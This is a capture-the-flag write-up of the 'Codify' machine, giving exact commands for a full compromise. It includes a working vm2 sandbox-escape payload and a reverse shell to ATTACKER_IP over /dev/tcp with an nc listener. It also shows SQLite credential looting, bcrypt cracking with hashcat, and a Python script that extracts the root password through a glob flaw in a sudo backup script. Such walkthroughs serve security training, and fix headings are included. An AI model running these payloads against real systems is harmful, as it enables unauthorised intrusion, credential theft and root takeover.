Codify
Summary
I found a public-facing JavaScript code-execution sandbox (port 3000) built on the abandoned vm2 library and exploited a known sandbox-escape flaw to run OS commands as the low-privilege 'svc' service account. From that foothold I found a SQLite database left readable by the service, extracted and cracked a bcrypt password hash belonging to local user 'joshua', then SSH'd in as joshua.
A sudo-permitted backup script contained an unsafe Bash comparison that leaked the root account's password one character at a time through wildcard pattern matching, allowing me to authenticate directly as root and fully compromise the system.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
nmap -sC -sV -p- --min-rate 5000 -oN codify.nmap $TARGETExact commands 2
curl -s http://$TARGET:3000/aboutcurl -s -X POST http://$TARGET:3000/run -H 'Content-Type: application/json' -d '{"code":"require(\"fs\").readFileSync(\"/usr/lib/node_modules/vm2/package.json\").toString()"}'FixRemove or replace the abandoned vm2 JavaScript sandboxCritical
Exact commands 1
curl -s -X POST http://$TARGET:3000/run -H 'Content-Type: application/json' -d '{"code":"err={};const h={getPrototypeOf(t){(function s(){new Error().stack;s();})();}};const p=new Proxy(err,h);try{throw p;}catch({constructor:c}){c.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"id\").toString()}}'Exact commands 2
nc -lvnp 4444curl -s -X POST http://$TARGET:3000/run -H 'Content-Type: application/json' -d '{"code":"err={};const h={getPrototypeOf(t){(function s(){new Error().stack;s();})();}};const p=new Proxy(err,h);try{throw p;}catch({constructor:c}){c.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"bash -c \\\\\"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\\\\\"\").toString()}}'Exact commands 4
find / -name '*.db' 2>/dev/nullsqlite3 /var/www/contact/tickets.db '.tables'sqlite3 /var/www/contact/tickets.db 'SELECT * FROM users;'hashcat -m 3200 joshua.hash /usr/share/wordlists/rockyou.txtFixProtect the application database and eliminate recoverable plaintext credentialsHigh
Exact commands 1
ssh joshua@$TARGETExact commands 3
sudo -lcat /opt/scripts/mysql-backup.shpython3 - <<'PY'
import subprocess, string
pwd = ''
charset = string.ascii_letters + string.digits
for _ in range(40):
for c in charset:
result = subprocess.run(
['sudo', '/opt/scripts/mysql-backup.sh'],
input=pwd + c + '*\n', capture_output=True, text=True
)
if 'confirmed' in result.stdout.lower() or result.returncode == 0:
pwd += c
print(f'[+] Found so far: {pwd}')
break
print(f'[*] Password: {pwd}')
PYFixFix the sudo backup script's glob-vulnerable password comparisonCritical
Exact commands 2
ssh root@$TARGETcat /root/root.txtFixDisable password-based root login over SSHHigh
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 |
| 3000/tcp | http Node.js Express framework |